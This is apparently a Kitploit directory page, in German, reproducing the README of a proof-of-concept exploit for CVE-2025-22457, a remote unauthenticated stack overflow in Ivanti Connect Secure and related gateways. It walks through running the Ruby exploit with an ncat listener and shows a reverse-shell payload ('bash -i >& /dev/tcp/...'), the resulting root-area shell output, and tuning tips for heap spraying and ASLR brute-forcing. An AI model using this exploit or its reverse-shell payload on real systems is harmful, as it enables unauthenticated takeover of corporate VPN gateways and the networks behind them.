Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-22457 — PoC CVE-2025-22457 | Kitploit
Tools/GitHubGitHub/trone-ux/cve-2025-22457
Exploit-FrameworksSchwachstellenanalyseExploitationShellcodeWebsicherheitNetzwerksicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
trone-ux/cve-2025-22457

CVE-2025-22457

PoC CVE-2025-22457

Repository anzeigen

PoC für CVE-2025-22457

Eine entfernte, nicht authentifizierte stack-basierte Pufferüberlauf-Schwachstelle, die Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure und ZTA Gateways betrifft

Übersicht

Dies ist ein Proof-of-Concept-Exploit zur Demonstration der Ausnutzung von CVE-2025-22457. Für eine vollständige technische Analyse der Schwachstelle und der Ausnutzungsstrategie siehe unsere Rapid7-Analyse hier:

https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis

Verwendung

Wir können dieses Skript gegen ein anfälliges Ivanti Connect Secure Ziel, Version 22.7r2.4, wie folgt ausführen:

Starten Sie einen Netcat-Listener, um die Reverse Shell zu empfangen.

root@kitploit:~
C:\>ncat -lnvkp 8080

Führen Sie den Exploit aus und erzwingen Sie ASLR per Brute-Force (Dies wird langsam sein).

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

Wenn es funktioniert, erhalten Sie eine Reverse Shell.

root@kitploit:~
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

Debug

Web-Kindprozesse

Abhängig von der zugrunde liegenden Hardware bestimmt die Anzahl der CPUs, die dem Zielgerät zur Verfügung stehen, die Anzahl der Kindprozesse, die der /home/bin/web-Binärdatei erzeugt. Da alle eingehenden HTTPS-Anfragen gleichmäßig auf diese Kindprozesse verteilt werden, müssen wir dies berücksichtigen und den Heap-Spray ausreichend oft für alle Kindprozesse durchführen. Dies ist notwendig, da wir beim Auslösen der Schwachstelle nicht wissen können, in welchem Kindprozess wir sie auslösen. Daher muss der Heap-Spray in jedem Kindprozess vorhanden sein.

  • 1 vCPU – 1 Webprozess, keine Kindprozesse
  • 2 vCPU – 1 Web-Elternprozess, 2 Kindprozesse
  • 4 vCPU – 1 Web-Elternprozess, 4 Kindprozesse (Dies ist die Standardeinstellung und entspricht der Ivanti Connect Secure ISA4000-V Plattform)
  • 8 vCPU – 1 Web-Elternprozess, 8 Kindprozesse (Dies entspricht der Ivanti Connect Secure ISA6000-V Plattform)

Führen Sie beispielsweise auf einem gerooteten, anfälligen Gerät Folgendes aus, um die Anzahl der /home/bin/web-Kindprozesse zu sehen:

root@kitploit:~
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

Sie können die erwartete Anzahl von Web-Kindprozessen über das Argument --web_children angeben, zum Beispiel:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

Basisadresse von libdsplibs

Wenn Sie den PoC auf einem lokalen System testen, möchten Sie möglicherweise das Brute-Forcen der libdsplibs-Basisadresse vermeiden. In diesem Szenario können Sie dem PoC eine bekannte Basisadresse über das Argument --libdsplibs übergeben. Führen Sie beispielsweise auf einem gerooteten, anfälligen Gerät Folgendes aus:

root@kitploit:~
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

Dann können Sie die bekannte Basisadresse wie folgt an den PoC übergeben:

root@kitploit:~
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering...
Tool herunterladen